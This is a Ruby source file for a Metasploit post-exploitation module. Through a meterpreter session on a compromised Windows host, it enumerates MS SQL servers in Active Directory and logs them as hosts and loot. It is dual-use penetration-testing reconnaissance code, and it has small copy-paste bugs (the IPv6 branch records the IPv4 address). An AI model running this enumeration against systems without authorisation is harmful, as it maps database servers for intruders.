/post/windows/gather/enum_ad_mssql_srv.rb
Ruby | 151 lines | 129 code | 16 blank | 6 comment | 4 complexity | 93c5046779464330e74c023c9acc70aa MD5 | raw file
- # encoding: UTF-8
- require 'rex'
- require 'msf/core'
- class MetasploitModule < Msf::Post
- include Msf::Auxiliary::Report
- include Msf::Post::Windows::Registry
- include Msf::Post::Windows::ExtAPI
- def initialize(info = {})
- super( update_info(
- info,
- 'Name' => 'Windows Gather Active Directory MS SQL Servers',
- 'Description' => %Q{
- This module will enumerate MS SQL Server in the domain the host is
- a member of.
- },
- 'License' => BSD_LICENSE,
- 'Author' => 'Carlos Perez <carlos_perez[at]darkoperator.com>',
- 'Platform' => ['win'],
- 'SessionTypes' => ['meterpreter']
- ))
- register_options([
- OptString.new('DOMAIN_DN', [false, 'DN of the domain to enumerate.', nil]),
- OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
- OptInt.new('MAX_SEARCH', [false, 'Maximum values to retrieve, 0 for all.', 100])
- ], self.class)
- end
- def run
- print_status("Running module against #{sysinfo['Computer']}")
- if load_extapi
- domain_dn = get_default_naming_context
- unless domain_dn.nil?
- unless datastore['DOMAIN_DN'].nil?
- domain_dn = datastore['DOMAIN_DN']
- end
- table = Rex::Ui::Text::Table.new(
- 'Indent' => 4,
- 'SortIndex' => -1,
- 'Width' => 80,
- 'Columns' =>
- [
- 'Name',
- 'Distinguished Name',
- 'FQDN',
- 'Operating System',
- 'Service Pack',
- 'Address'
- ]
- )
- domain = domain_dn
- filter = '(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))'
- query_result = session.extapi.adsi.domain_query(
- domain,
- filter,
- datastore['MAX_SEARCH'],
- datastore['MAX_SEARCH'],
- ['name',
- 'distinguishedname',
- 'dnshostname',
- 'operatingsystem',
- 'operatingSystemServicePack',
- 'servicePrincipalName'
- ]
- )
- if query_result[:results].length > 0
- query_result[:results].each do |obj|
- # Resolve IPv4 address
- begin
- ipv4_info = session.net.resolve.resolve_host(obj[2][:value], AF_INET)
- table << [obj[0][:value], obj[1][:value], obj[2][:value], obj[3][:value],obj[4][:value],ipv4_info[:ip]]
- service_pack = obj[4][:value].gsub('Service Pack', 'SP')
- # Save found DC in the database
- report_host(
- :host => ipv4_info[:ip],
- :os_name => 'Windows',
- :os_flavor => obj[3][:value],
- :name => obj[0][:value],
- :purpose => 'server',
- :comments => 'MS SQL Server',
- :os_sp => service_pack
- )
- rescue
- vprint_status 'Could not resolve IPv4 Address for Domain Controller'
- end
- # Resolve IPv6 address
- begin
- ipv6_info = session.net.resolve.resolve_host(obj[2][:value], AF_INET6)
- table << [obj[0][:value], obj[1][:value], obj[2][:value], obj[3][:value],obj[4][:value],ipv4_info[:ip]]
- service_pack = obj[4][:value].gsub('Service Pack', 'SP')
- # Save found DC in the database
- report_host(
- :host => ipv6_info[:ip],
- :os_name => 'Windows',
- :os_flavor => obj[3][:value],
- :name => obj[0][:value],
- :purpose => 'server',
- :comments => 'MS SQL Server',
- :os_sp => service_pack
- )
- rescue
- vprint_status 'Could not resolve IPv6 Address for Domain Controller'
- end
- end
- table.print
- print_line
- if datastore['STORE_LOOT']
- stored_path = store_loot('ad.mssql.servers', 'text/plain', session, table.to_csv)
- print_status("Results saved to: #{stored_path}")
- end
- else
- print_status("No MS SQL Servers found.")
- end
- end
- end
- end
- def get_dn
- dn = nil
- begin
- subkey = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History'
- v_name = 'DCName'
- key_vals = registry_enumvals(subkey)
- if key_vals.include?(v_name)
- domain_dc = registry_getvaldata(subkey, v_name)
- # lets parse the information
- dom_info = domain_dc.split('.')
- dn = "DC=#{dom_info[1,dom_info.length].join(',DC=')}"
- else
- print_status 'Host is not part of a domain.'
- end
- rescue
- print_error('Could not determine if the host is part of a domain.')
- return nil
- end
- dn
- end
- end